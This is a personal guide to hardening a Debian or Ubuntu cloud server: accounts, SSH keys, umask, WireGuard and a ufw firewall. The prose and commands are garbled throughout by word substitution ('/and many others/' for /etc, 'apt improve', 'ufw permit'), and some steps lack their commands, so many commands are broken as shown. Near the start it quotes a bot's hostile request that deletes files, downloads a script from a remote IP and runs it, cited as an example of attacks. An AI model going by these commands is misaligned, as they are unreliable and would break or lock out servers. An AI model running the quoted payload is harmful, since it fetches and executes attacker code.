The Reluctant Sysadmin’s Information to Securing a Linux Server
I’m not a sysadmin, and I don’t need to be. However I write software program for the net, which suggests I’m by no means removed from a server, and generally I’m the one one round. So even when I didn’t need the job, I’ve it, and I must take the safety of those hosts significantly. In the event you’re in the same scenario, this information is for you. I’ll stroll you thru the steps I take advantage of to harden a brand new digital machine from a cloud supplier.
Ideally, you’d automate every thing right here. However this can be a handbook information, the place I assume you’ll be typing the instructions. I do know folks nonetheless manually configure servers, and in case you’re going to do it, not less than do it securely. However I hope after you’ve gone by this a couple of times, you’ll automate it. I’ll have extra to say about automation on the finish.
I’m making a number of assumptions to maintain this submit temporary:
- Your host is a VM from a cloud supplier (AWS, GCP, Linode, and many others.) with a regular machine picture.
- Your server has Debian 11 (Bullseye) or Ubuntu. The identical primary process ought to work with any Linux distribution, however the particulars will differ.
- your method across the Linux shell (in case you can navigate directories and edit information, you’ll be wonderful).
Know your enemy
Earlier than we get into it, we have to know what we’re up in opposition to, and first up are bots. As an experiment, I began a VM in AWS and enabled SSH passwords, and began an HTTP server. After solely an hour, I had one failed SSH login and a dozen requests for issues like:
GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.231/jaws;sh+/tmp/jaws
I don’t know what jaws
does, however it doesn’t sound pleasant. (Hopefully, it’s apparent, however don’t run that–in case you actually should, I reversed the final octet of the IP deal with.)
These bots scan the Web in search of any susceptible methods. The excellent news is that they’re not out to get you a lot as they’re out to get anybody. These assaults are normally simple to cease, preserve your host up to date, and be a bit of bit more durable than the following host on their listing.
However generally, there may be somebody out to get you personally, and sadly no system is really secure. The very best we are able to do is block what’s identified, put up defenses at each layer, and hope we’ve grow to be extra bother than we’re value. On that cheery word, let’s dive in.
Replace the software program
Even in case you simply launched it, your system might be already outdated. There would possibly even be a essential safety vulnerability that didn’t make it into the VM picture. So to begin:
sudo apt replace
sudo apt improve
Create a consumer account
You shouldn’t log in immediately as root
. Use one other account and sudo
while you want superuser entry. Your cloud VM probably has one other account already, which you need to use, if you want. However I choose to make a brand new account as a result of the default one tends to be apparent.
sudo useradd -m -s /bin/bash
-G customers,sudo
alfred
Identify your account no matter you want, however keep away from something simply guessable, like admin
.
The -G
line lists teams that the consumer belongs to. The sudo
group will grant entry to run instructions as root
(assuming sudo
is configured this fashion, which it normally is).
You’ll want a password for this account. You gained’t log in with this password, however you have to it for sudo
, so decide one. Ideally, generate a random one in your password supervisor. To set the password:
In case your VM picture disables password logins with SSH, copy the important thing from the default account to your new account:
cp -r ~{admin,alfred}/.ssh
chown -R alfred:alfred ~alfred/.ssh/
Sign off and again in as your new consumer and confirm that sudo works:
sudo bash -c 'echo "I'm $USER!"'
It ought to ask to your password. If it really works with no password, then run sudo visudo
and change the road that begins with %sudo
with:
%sudo ALL=(ALL:ALL) ALL
Be certain sudo
works earlier than transferring on as a result of you possibly can lock your self out of root
in case you’re not cautious.
We don’t need to go away previous unused accounts round. So if there’s a default account out of your VM picture, delete it:
Disable root logins
Now that we have now an account with sudo
privileges, there’s no purpose anybody ought to log in with root
. First, disable root on the console:
Now stop root
from logging in over SSH. Add (or uncomment) this line in /and many others/ssh/sshd_config
:
PermitRootLogin no
You’ll have to restart sshd
for the change to take impact, however we’ll have a number of extra SSH config modifications. In the event you’re anxious to do it now, run:
sudo systemctl restart ssh
umask
We have to change the default umask
, which controls the permissions on new information and directories. Most Linux distributions default umask
to 022
, which supplies learn entry to each consumer. Run umask
to see your present setting.
We wish a umask
of 077
, which removes entry to each consumer besides the one who created the file. 027
would work, too (full entry for the proprietor, learn for group, and nothing for different). The purpose is that it’s safer to loosen file permissions when wanted quite than tighten them.
For sh
and bash
, we are able to add umask
to /and many others/profile
:
sudo bash -c 'echo -e "numask 077" >> /and many others/profile'
In the event you use one other shell, I’ll assume the place to configure it.
Sign off and again in, then confirm new information have the specified permissions:
$ contact xyz ; ls -l xyz ; rm xyz
-rw------- 1 alfred alfred 0 Mar 25 11:23 xyz
SSH keys
I do know you, and I all the time use new, randomly generated passwords for each account, however most individuals don’t. Sometime it’s possible you’ll grant entry to somebody with unhealthy password hygiene, so it’s finest to begin proper and solely permit logins by SSH key. Your cloud supplier most likely already configured an SSH key for you, however don’t skip this part as a result of the default settings nonetheless must be tweaked.
When you’ve got an SSH key already that you just need to use, then nice. If not, and also you’re on Linux or Mac, generate one:
ssh-keygen -t rsa -b 4096
In the event you’re on Home windows, PuTTYgen ought to work (however don’t ask me about it as a result of I’ve by no means used it).
Again on the server now. By default, SSH reads licensed keys from $HOME/.ssh/authorized_keys
. The issue is that if an attacker finds an exploit that lets them write one file, you may be certain they’ll try so as to add a public key to $HOME/.ssh/authorized_keys
. It’s safer if solely root
can add an SSH key.
We’d like a central place to maintain public keys:
sudo mkdir -p /and many others/ssh/authorized_keys
sudo chmod 0711 /and many others/ssh/authorized_keys
The permissions on the listing give root
full entry. Everybody else can learn information however not create them and even get a listing itemizing.
We’ll create one file on this listing for every consumer with SSH entry. If you have already got an authorized_keys
file, you possibly can copy it into place:
sudo cp ~alfred/.ssh/authorized_keys /and many others/ssh/authorized_keys/alfred
If not, paste the general public key:
sudo bash -c 'echo your public ssh key > /and many others/ssh/authorized_keys/alfred'
The final step is to make the file readable by the consumer:
sudo setfacl -m u:alfred:r /and many others/ssh/authorized_keys/alfred
If setfacl
doesn’t exist, set up it with sudo apt set up acl
.
Earlier than persevering with, ensure that your consumer can learn their authorized_keys
file:
cat /and many others/ssh/licensed/keys/$USER
In the event you can’t learn it now, SSH gained’t be capable of learn it out of your account both, and also you’ll be locked out.
Now configure SSH to learn public keys from our central listing by including this to /and many others/ssh/sshd_config
:
AuthorizedKeysFile /and many others/ssh/authorized_keys/%u
Whereas we’re modifying sshd_config
, we additionally need to disable password logins (this may occasionally already be set):
PasswordAuthentication no
Restart sshd
for these modifications to take impact:
sudo systemctl restart ssh
Don’t sign off but. However do log in from one other terminal window to verify it really works.
When you’ve got an previous authorized_keys
file, delete it: rm ~/.ssh/authorized_keys
(it isn’t insecure, it’s simply complicated to go away an unused file in place).
WireGuard
We’ve accomplished the fundamentals to lock down SSH. However, ideally, SSH wouldn’t be accessible from the Web. You could possibly use firewall guidelines to limit entry to particular IP addresses. However in my case, I’ve a dynamic IP, and I don’t need to run a bastion host, in order that gained’t work for me. Happily, WireGuard makes operating a VPN simple.
In the event you haven’t heard of it, WireGuard is a peer-to-peer VPN. There isn’t a central server. On every host, you set the general public keys of its licensed friends. It’s a bit of bit work to configure, however it works properly.
One disadvantage to WireGuard is that the connection goes each methods. In case your server is compromised, the attacker can attain any configured peer. Personally, I’ve the opposite facet of the WireGuard tunnel in an area VM that blocks inbound connections from the tunnel.
Nonetheless you do it, I’ll assume you will have another host already configured with WireGuard. Earlier than we get began, you’ll want:
- The general public key and personal IP of the peer you need to join from.
- The non-public IP to assign to the server. It ought to be in the identical subnet because the peer.
Begin by putting in WireGuard. It’s easy in Debian Bullseye and up to date Ubuntu variations:
sudo apt set up wireguard
Now generate a key pair:
sudo mkdir -p /and many others/wireguard
sudo sh -c 'wg genkey | tee /and many others/wireguard/private_key | wg pubkey > /and many others/wireguard/public_key'
And create a config file in /and many others/wireguard/wg0.conf
:
[Interface]
Handle = 192.168.50.2/24
PrivateKey = <THE PRIVATE KEY>
ListenPort = 12345
[Peer]
PublicKey = u8Uo3ab+psKeOpciUIaNuBulNrOCXrU8GN3yD06/0WM=
AllowedIPs = 192.168.50.1/32
You’ll must set the deal with to an IP on the identical subnet as the pc you’re accessing it from. Additionally, configure the right AllowedIPs
and PublicKey
. You may copy/paste the PrivateKey
, or use :r /and many others/wireguard/private_key
in VIM.
Set ListenPort
to any random ephemeral port quantity. You may generate one in Bash:
echo $(($SRANDOM % 55535 + 10000))
The port quantity isn’t a secret per se, however WireGuard hides itself properly, so we’d as properly stop an attacker from figuring out it.
In case your cloud supplier has a firewall, don’t neglect to open WireGuard’s UDP port.
Now begin WireGuard:
sudo systemctl begin wg-quick@wg0
sudo systemctl allow wg-quick@wg0
Don’t neglect to configure the server as a peer on the pc you’re connecting from. Be sure to can connect with SSH by the WireGuard IP.
Firewall
Your cloud supplier most likely has a firewall already. In the event you’re proud of that, permit WireGuard, block SSH, and name it a day. However in case you don’t don’t like that firewall, you possibly can set up one on the server.
On Debian primarily based methods, I take advantage of ufw
. Set up it with:
The primary rule we’d like permits anybody to entry the WireGuard port. Change $WG_PORT
to no matter you configured in /and many others/wireguard/wg0.conf
:
sudo ufw permit in on eth0 to any port $WG_PORT proto udp
Additionally run ip a
and ensure the interface you need to filter is definitely eth0
, generally it will not be.
Now we need to permit SSH on WireGuard:
sudo ufw permit in on wg0 to any port 22 proto tcp
And add some other ports you need open:
sudo ufw permit in on eth0 to any port 80 proto tcp
sudo ufw permit in on eth0 to any port 443 proto tcp
When your guidelines are in place, cross your fingers and activate ufw
:
Hopefully, SSH stays linked. Don’t sign off till you verify you will get a brand new SSH connection.
Subsequent steps
There are a number of extra issues it is best to take into account:
- Discover a course of to maintain your system updated. Debian’s Automatic Update is one choice, although you might have considered trying some oversight.
- Most assaults gained’t be in opposition to what we’ve lined on this information, however in opposition to the functions you put in subsequent. Correctly accomplished, containers can restrict the affect.
Lastly, it is best to automate the job of initializing your host. With apply, this course of may be accomplished manually in about half-hour, however your automation will probably be a few minutes at most. Manually typing the instructions can also be error-prone, and some steps can lock you out in case you aren’t cautious.
In the event you aren’t certain the place to begin with automation, I counsel you begin easy. For instance, write an init script that will get your host to a identified state earlier than Ansible (or the same software) takes over.
If you wish to use an init script, I’ve printed some scripts which do every thing on this weblog submit, which you need to use immediately or as a base for what you actually need.